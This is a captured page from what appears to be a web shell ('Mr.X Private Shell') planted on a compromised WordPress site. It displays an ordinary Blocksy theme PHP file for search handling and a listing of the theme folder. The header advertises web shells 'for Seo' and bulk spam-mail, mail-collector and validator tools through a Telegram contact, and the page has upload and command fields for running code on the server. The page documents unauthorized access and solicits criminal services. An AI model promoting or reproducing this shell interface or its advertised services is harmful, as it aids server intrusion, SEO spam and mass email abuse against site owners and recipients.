__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Blocksy;

class SearchModifications {
	use WordPressActionsManager;

	private $filters = [
		[
			'action' => 'rest_post_search_query',
			'priority' => 999,
			'args' => 2
		],

		[
			'action' => 'pre_get_posts'
		],

		[
			'action' => 'rest_api_init'
		]
	];

	public function __construct() {
		$this->attach_hooks();
	}

	public function rest_api_init() {
		if (! isset($_GET['ct_live_search']) || $_GET['ct_live_search'] !== 'true') {
			return;
		}

		register_rest_field('search-result', 'ct_featured_media', [
			'get_callback' => function ($post, $field_name, $request) {
				$image_id = get_post_thumbnail_id($post['id']);

				if (! $image_id) {
					return null;
				}

				$image = get_post($image_id);

				if (! $image) {
					return null;
				}

				$controller = new \WP_REST_Attachments_Controller('attachment');

				$attachment = $controller->prepare_item_for_response(
					$image,
					$request
				);

				return $attachment->data;
			}
		]);

		do_action('blocksy:rest_api:live_search:fields');
	}

	public function rest_post_search_query($args, $request) {
		// Patch WP_Query args for search only when it's a live search
		if (
			! isset($_GET['ct_live_search'])
			||
			$_GET['ct_live_search'] !== 'true'
		) {
			return $args;
		}

		if (
			is_array($args['post_type'])
			&&
			in_array('product', $args['post_type'])
		) {
			if ('yes' === get_option('woocommerce_hide_out_of_stock_items')) {
				$meta_query = [];

				if (isset($args['meta_query'])) {
					$meta_query = $args['meta_query'];
				}

				$meta_query[] = [
					'relation' => 'OR',
					[
						'key'     => '_stock_status',
						'value'   => 'outofstock',
						'compare' => '!=',
					],

					[
						'key'     => '_stock_status',
						'compare' => 'NOT EXISTS',
					]
				];

				$args['meta_query'] = $meta_query;
			}

			if (function_exists('wc_get_product_visibility_term_ids')) {
				$product_visibility_term_ids = wc_get_product_visibility_term_ids();

				$tax_query = [];

				if (isset($args['tax_query'])) {
					$tax_query = $args['tax_query'];
				}

				$tax_query['relation'] = 'AND';

				$tax_query[] = [
					[
						'taxonomy' => 'product_visibility',
						'field' => 'term_taxonomy_id',
						'terms' => $product_visibility_term_ids['exclude-from-search'],
						'operator' => 'NOT IN',
					]
				];

				$args['tax_query'] = $tax_query;
			}

			if (class_exists('Addify_Products_Visibility_Front')) {
				$visibility = new \Addify_Products_Visibility_Front();

				$q = new \WP_Query();

				$visibility->afpvu_custom_pre_get_posts_query($q);

				foreach ($q->query_vars as $key => $value) {
					$args[$key] = $value;
				}
			}
		}

		$tax_query = [];

		if (isset($args['tax_query']) && is_array($args['tax_query'])) {
			$tax_query = $args['tax_query'];
		}

		if (
			isset($request['ct_tax_query'])
			&&
			! empty($request['ct_tax_query'])
		) {
			$tax_params = explode(':', $request['ct_tax_query']);

			$tax_query[] = [
				'relation' => 'AND',
				[
					'taxonomy' => $tax_params[0],
					'field' => 'id',
					'terms' => $tax_params[1],
					'operator' => 'IN',
				]
			];
		}

		$args['tax_query'] = $tax_query;

		return $args;
	}

	public function pre_get_posts($query) {
		if (is_admin() || ! $query->is_search) {
			return $query;
		}

		if (
			! is_search()
			&&
			! wp_doing_ajax()
		) {
			return $query;
		}

		$this->maybe_apply_post_type($query);
		$this->maybe_apply_tax_query($query);

		return $query;
	}

	private function maybe_apply_post_type($query) {
		if (empty($_GET['ct_post_type'])) {
			return;
		}

		$custom_post_types = blocksy_manager()->post_types->get_supported_post_types();

		if (function_exists('is_bbpress')) {
			$custom_post_types[] = 'forum';
			$custom_post_types[] = 'topic';
			$custom_post_types[] = 'reply';
		}

		if (class_exists('Tribe__Events__Main')) {
			$custom_post_types[] = 'tribe_events';
		}

		$allowed_post_types = [];

		$post_types = explode(
			':',
			sanitize_text_field($_GET['ct_post_type'])
		);

		$known_cpts = ['post', 'page'];

		if (get_post_type_object('product')) {
			$known_cpts[] = 'product';
		}

		foreach ($post_types as $single_post_type) {
			if (
				in_array($single_post_type, $custom_post_types)
				||
				in_array($single_post_type, $known_cpts)
			) {
				$allowed_post_types[] = $single_post_type;
			}
		}

		$query->set('post_type', $allowed_post_types);

		if (in_array('product', $allowed_post_types)) {
			if ('yes' === get_option('woocommerce_hide_out_of_stock_items')) {
				$meta_query = [];

				if (! empty($query->get('meta_query'))) {
					$meta_query = $query->get('meta_query');
				}

				$meta_query[] = array(
					'key'     => '_stock_status',
					'value'   => 'outofstock',
					'compare' => '!=',
				);

				$query->set('meta_query', $meta_query);
			}

			if (function_exists('wc_get_product_visibility_term_ids')) {
				$product_visibility_term_ids = wc_get_product_visibility_term_ids();

				$tax_query = [];

				if (! empty($query->get('tax_query'))) {
					$tax_query = $query->get('tax_query');
				}

				$tax_query['relation'] = 'AND';

				$tax_query[] = [
					[
						'taxonomy' => 'product_visibility',
						'field' => 'term_taxonomy_id',
						'terms' => $product_visibility_term_ids['exclude-from-search'],
						'operator' => 'NOT IN',
					]
				];

				$query->set('tax_query', $tax_query);
			}
		}
	}

	// TODO: check if existing tax query exists before overriding new one
	private function maybe_apply_tax_query($query) {
		if (empty($_GET['ct_tax_query'])) {
			return;
		}

		$tax_query = [
			'relation' => 'AND',
		];

		$tax_params = explode(':', $_GET['ct_tax_query']);

		$tax_query[] = [
			[
				'taxonomy' => $tax_params[0],
				'field' => 'id',
				'terms' => $tax_params[1],
				'operator' => 'IN',
			]
		];

		$query->set('tax_query', [
			'relation' => 'AND',
			$tax_query
		]);
	}
}


Filemanager

Name Type Size Permission Actions
archive Folder 0750
blocks Folder 0750
builder Folder 0750
hero Folder 0750
media Folder 0750
patterns Folder 0750
single Folder 0750
woocommerce Folder 0750
back-to-top.php File 3.29 KB 0640
breadcrumbs.php File 22.21 KB 0640
contacts-box.php File 8.79 KB 0640
customizer-builder.php File 9.53 KB 0640
emoji-scripts.php File 1.12 KB 0640
gallery.php File 7.35 KB 0640
global-attrs.php File 4.73 KB 0640
hero-section.php File 5.18 KB 0640
menus.php File 10.65 KB 0640
pagination.php File 7.49 KB 0640
patterns.php File 832 B 0640
post-meta.php File 20.31 KB 0640
posts-listing.php File 3.1 KB 0640
search.php File 5.76 KB 0640
sidebar.php File 4.29 KB 0640
skip-to-content-link.php File 269 B 0640
social-box.php File 58.93 KB 0640
vertical-spacing.php File 1.42 KB 0640
woocommerce-integration.php File 5.08 KB 0640
Filemanager